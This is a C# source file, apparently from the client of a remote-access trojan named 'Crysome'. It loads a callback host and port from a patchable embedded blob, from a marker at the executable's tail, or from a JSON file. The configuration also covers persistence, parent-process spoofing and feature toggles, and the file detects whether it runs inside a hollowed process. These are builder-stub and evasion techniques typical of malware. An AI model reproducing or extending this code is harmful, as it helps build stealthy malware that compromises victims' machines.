318 lines
9.9 KiB
C#
318 lines
9.9 KiB
C#
using System;
|
|||
|
|
using System.Collections.Generic;
|
||
|
|
using System.Diagnostics;
|
||
|
|
using System.IO;
|
||
|
|
using System.Reflection;
|
||
|
|
using System.Text;
|
||
|
|
|
||
|
|
namespace Crysome.Client.Configuration;
|
||
|
|
|
||
|
|
public static class ClientConfiguration
|
||
|
|
{
|
||
|
|
public static string Identifier = "Crysome-01";
|
||
|
|
|
||
|
|
public static string Host = "127.0.0.1";
|
||
|
|
|
||
|
|
public static int Port = 7777;
|
||
|
|
|
||
|
|
public static string Group = "";
|
||
|
|
|
||
|
|
public static bool Persistence = false;
|
||
|
|
|
||
|
|
public static string ParentSpoof = "";
|
||
|
|
|
||
|
|
public static HashSet<string> EnabledFeatures = null;
|
||
|
|
|
||
|
|
private const string EmbeddedMarker = "##CRYCFG##";
|
||
|
|
|
||
|
|
private const char PaddingChar = '\u0001';
|
||
|
|
|
||
|
|
internal static string EmbeddedConfig = "##CRYCFG##\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001\u0001";
|
||
|
|
|
||
|
|
private const string TailMarker = "##CRYCONFIG##";
|
||
|
|
|
||
|
|
private static bool? _isHollowed = null;
|
||
|
|
|
||
|
|
public static bool IsHollowed
|
||
|
|
{
|
||
|
|
get
|
||
|
|
{
|
||
|
|
if (_isHollowed.HasValue)
|
||
|
|
{
|
||
|
|
return _isHollowed.Value;
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string location = Assembly.GetExecutingAssembly().Location;
|
||
|
|
if (string.IsNullOrEmpty(location))
|
||
|
|
{
|
||
|
|
_isHollowed = true;
|
||
|
|
return true;
|
||
|
|
}
|
||
|
|
string name = Assembly.GetExecutingAssembly().GetName().Name;
|
||
|
|
bool flag = Path.GetFileNameWithoutExtension(location).Equals(name, StringComparison.OrdinalIgnoreCase);
|
||
|
|
_isHollowed = !flag;
|
||
|
|
return _isHollowed.Value;
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
_isHollowed = true;
|
||
|
|
return true;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
public static string GetProcessPath()
|
||
|
|
{
|
||
|
|
if (!IsHollowed)
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string location = Assembly.GetExecutingAssembly().Location;
|
||
|
|
if (!string.IsNullOrEmpty(location) && File.Exists(location))
|
||
|
|
{
|
||
|
|
return location;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string text = Process.GetCurrentProcess().MainModule?.FileName;
|
||
|
|
if (!string.IsNullOrEmpty(text) && File.Exists(text))
|
||
|
|
{
|
||
|
|
return text;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string[] commandLineArgs = Environment.GetCommandLineArgs();
|
||
|
|
if (commandLineArgs != null && commandLineArgs.Length != 0 && !string.IsNullOrEmpty(commandLineArgs[0]) && File.Exists(commandLineArgs[0]))
|
||
|
|
{
|
||
|
|
return commandLineArgs[0];
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
return null;
|
||
|
|
}
|
||
|
|
|
||
|
|
public static void Init()
|
||
|
|
{
|
||
|
|
if (!TryLoadFromEmbedded() && !TryLoadFromExeTail())
|
||
|
|
{
|
||
|
|
TryLoadFromJsonFile();
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static bool TryLoadFromEmbedded()
|
||
|
|
{
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string embeddedConfig = EmbeddedConfig;
|
||
|
|
if (string.IsNullOrEmpty(embeddedConfig) || !embeddedConfig.StartsWith("##CRYCFG##"))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
string text = embeddedConfig.Substring("##CRYCFG##".Length).TrimEnd('\u0001', '\0');
|
||
|
|
if (string.IsNullOrWhiteSpace(text))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
Program.Log("Config found in embedded blob");
|
||
|
|
ParseJson(text);
|
||
|
|
return true;
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Program.Log("Embedded config error: " + ex.Message);
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static bool TryLoadFromExeTail()
|
||
|
|
{
|
||
|
|
if (IsHollowed)
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string processPath = GetProcessPath();
|
||
|
|
if (string.IsNullOrEmpty(processPath) || !File.Exists(processPath))
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
byte[] array = File.ReadAllBytes(processPath);
|
||
|
|
string text = Encoding.UTF8.GetString(array, Math.Max(0, array.Length - 1024), Math.Min(1024, array.Length));
|
||
|
|
int num = text.IndexOf("##CRYCONFIG##", StringComparison.Ordinal);
|
||
|
|
if (num < 0)
|
||
|
|
{
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
string json = text.Substring(num + "##CRYCONFIG##".Length);
|
||
|
|
Program.Log("Config found in exe tail");
|
||
|
|
ParseJson(json);
|
||
|
|
return true;
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Program.Log("Exe tail config error: " + ex.Message);
|
||
|
|
return false;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void TryLoadFromJsonFile()
|
||
|
|
{
|
||
|
|
string processPath = GetProcessPath();
|
||
|
|
string text = null;
|
||
|
|
try
|
||
|
|
{
|
||
|
|
text = Path.GetFileNameWithoutExtension(processPath);
|
||
|
|
}
|
||
|
|
catch
|
||
|
|
{
|
||
|
|
}
|
||
|
|
string[] array = new string[3]
|
||
|
|
{
|
||
|
|
AppDomain.CurrentDomain.BaseDirectory,
|
||
|
|
Path.GetDirectoryName(processPath),
|
||
|
|
Environment.CurrentDirectory
|
||
|
|
};
|
||
|
|
foreach (string text2 in array)
|
||
|
|
{
|
||
|
|
if (string.IsNullOrEmpty(text2))
|
||
|
|
{
|
||
|
|
continue;
|
||
|
|
}
|
||
|
|
try
|
||
|
|
{
|
||
|
|
string text3 = Path.Combine(text2, "config.json");
|
||
|
|
if (File.Exists(text3))
|
||
|
|
{
|
||
|
|
Program.Log("Loading config.json: " + text3);
|
||
|
|
ParseJson(File.ReadAllText(text3));
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
if (!string.IsNullOrEmpty(text))
|
||
|
|
{
|
||
|
|
string text4 = Path.Combine(text2, text + ".config.json");
|
||
|
|
if (File.Exists(text4))
|
||
|
|
{
|
||
|
|
Program.Log("Loading alt config: " + text4);
|
||
|
|
ParseJson(File.ReadAllText(text4));
|
||
|
|
return;
|
||
|
|
}
|
||
|
|
}
|
||
|
|
}
|
||
|
|
catch (Exception ex)
|
||
|
|
{
|
||
|
|
Program.Log("Config json error: " + ex.Message);
|
||
|
|
}
|
||
|
|
}
|
||
|
|
Program.Log("No config found, using defaults (127.0.0.1:7777)");
|
||
|
|
}
|
||
|
|
|
||
|
|
private static void ParseJson(string json)
|
||
|
|
{
|
||
|
|
string text = Extract(json, "host");
|
||
|
|
string s = Extract(json, "port");
|
||
|
|
string text2 = Extract(json, "group");
|
||
|
|
string text3 = Extract(json, "persistence");
|
||
|
|
string text4 = Extract(json, "feat");
|
||
|
|
string text5 = Extract(json, "parent");
|
||
|
|
if (!string.IsNullOrEmpty(text))
|
||
|
|
{
|
||
|
|
Host = text;
|
||
|
|
}
|
||
|
|
if (int.TryParse(s, out var result) && result > 0 && result <= 65535)
|
||
|
|
{
|
||
|
|
Port = result;
|
||
|
|
}
|
||
|
|
if (!string.IsNullOrEmpty(text2))
|
||
|
|
{
|
||
|
|
Group = text2;
|
||
|
|
}
|
||
|
|
if (!string.IsNullOrEmpty(text3) && text3.ToLower() == "true")
|
||
|
|
{
|
||
|
|
Persistence = true;
|
||
|
|
}
|
||
|
|
if (!string.IsNullOrEmpty(text5))
|
||
|
|
{
|
||
|
|
ParentSpoof = text5.Trim().ToLowerInvariant();
|
||
|
|
}
|
||
|
|
if (!string.IsNullOrEmpty(text4))
|
||
|
|
{
|
||
|
|
EnabledFeatures = new HashSet<string>(StringComparer.OrdinalIgnoreCase);
|
||
|
|
string[] array = text4.Split(new char[2] { ',', ';' }, StringSplitOptions.RemoveEmptyEntries);
|
||
|
|
foreach (string text6 in array)
|
||
|
|
{
|
||
|
|
EnabledFeatures.Add(text6.Trim());
|
||
|
|
}
|
||
|
|
}
|
||
|
|
Program.Log("Config: Host=" + Host + " Port=" + Port + " Group=" + Group);
|
||
|
|
}
|
||
|
|
|
||
|
|
public static bool IsFeatureEnabled(string key)
|
||
|
|
{
|
||
|
|
if (EnabledFeatures == null)
|
||
|
|
{
|
||
|
|
return true;
|
||
|
|
}
|
||
|
|
return EnabledFeatures.Contains(key);
|
||
|
|
}
|
||
|
|
|
||
|
|
private static string Extract(string json, string key)
|
||
|
|
{
|
||
|
|
string value = "\"" + key + "\"";
|
||
|
|
int num = json.IndexOf(value, StringComparison.OrdinalIgnoreCase);
|
||
|
|
if (num < 0)
|
||
|
|
{
|
||
|
|
return null;
|
||
|
|
}
|
||
|
|
num = json.IndexOf(':', num);
|
||
|
|
if (num < 0)
|
||
|
|
{
|
||
|
|
return null;
|
||
|
|
}
|
||
|
|
for (num++; num < json.Length && char.IsWhiteSpace(json[num]); num++)
|
||
|
|
{
|
||
|
|
}
|
||
|
|
if (num >= json.Length)
|
||
|
|
{
|
||
|
|
return null;
|
||
|
|
}
|
||
|
|
if (json[num] == '"')
|
||
|
|
{
|
||
|
|
num++;
|
||
|
|
int i = num;
|
||
|
|
bool flag = false;
|
||
|
|
for (; i < json.Length; i++)
|
||
|
|
{
|
||
|
|
if (json[i] == '\\')
|
||
|
|
{
|
||
|
|
flag = !flag;
|
||
|
|
continue;
|
||
|
|
}
|
||
|
|
if (json[i] == '"' && !flag)
|
||
|
|
{
|
||
|
|
break;
|
||
|
|
}
|
||
|
|
flag = false;
|
||
|
|
}
|
||
|
|
return json.Substring(num, i - num);
|
||
|
|
}
|
||
|
|
int j;
|
||
|
|
for (j = num; j < json.Length && json[j] != ',' && json[j] != '}' && !char.IsWhiteSpace(json[j]); j++)
|
||
|
|
{
|
||
|
|
}
|
||
|
|
return json.Substring(num, j - num);
|
||
|
|
}
|
||
|
|
}
|